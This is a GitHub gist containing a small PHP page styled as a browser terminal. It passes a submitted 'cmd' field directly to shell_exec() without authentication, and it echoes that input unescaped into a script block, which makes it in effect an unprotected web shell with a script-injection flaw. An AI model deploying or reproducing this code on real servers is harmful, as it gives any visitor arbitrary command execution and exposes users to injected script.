Last active
April 26, 2024 05:12
-
-
Save fitsum/f11dd67d2cd12add5844 to your computer and use it in GitHub Desktop.
executes on shell commands via browser + TODOs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html class="no-js" lang=""> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<title>CMD</title> | |
<meta name="description" content=""> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<style type="text/css"> | |
/* Eric Meyer's Reset CSS v2.0 - http://cssreset.com */ | |
/* | |
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{border:0;font-size:100%;font:inherit;vertical-align:baseline;margin:0;padding:0}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:none}table{border-collapse:collapse;border-spacing:0} | |
*/ | |
body {font-size: 62.5%} | |
body,input{ | |
background-color: black; | |
color: green; | |
} | |
input, | |
pre {font-size: 2em; font-family: monospace} | |
input { | |
width: 100%; | |
padding-left: 1em; | |
border: 0; | |
border-bottom: solid 1px #020; | |
outline: 0; | |
} | |
input:focus{outline: 0;} | |
.prompt{ | |
position: absolute; | |
top: 0.5em; | |
font-size: 1.5em; | |
} | |
.arrow-prompt:after{content: ">";} | |
.dollar-prompt:after{content: "$";} | |
</style> | |
</head> | |
<body> | |
<form action="./" method="POST"> | |
<input type="text" name="cmd" autofocus> | |
<div class="prompt arrow-prompt"></div> | |
</form> | |
<div> | |
<?php | |
$output = shell_exec($_POST['cmd']); | |
echo "<pre>$output</pre>"; | |
?> | |
</div> | |
<script type="text/javascript"> | |
$ = function(x){return document.querySelectorAll(x);} | |
W = function(x){console.warn(x)} | |
A = function(x){alert(x)} | |
L = function(x){console.log(x)} | |
E = function(x){ | |
switch(x){ | |
case 38: lastCmd(); break; | |
} | |
} | |
lastCmd = function(){ | |
// TODO: could make this loop over local storage data | |
// TODO: safely escape "" and '' | |
$('input')[0].value = "<?php echo $_POST['cmd']; ?>" | |
} | |
document.onreadystatechange = function(){ | |
if(document.readyState == "complete"){ | |
// arrow key click handler | |
window.addEventListener('keyup',function(e){E(e.which)},false) | |
} | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment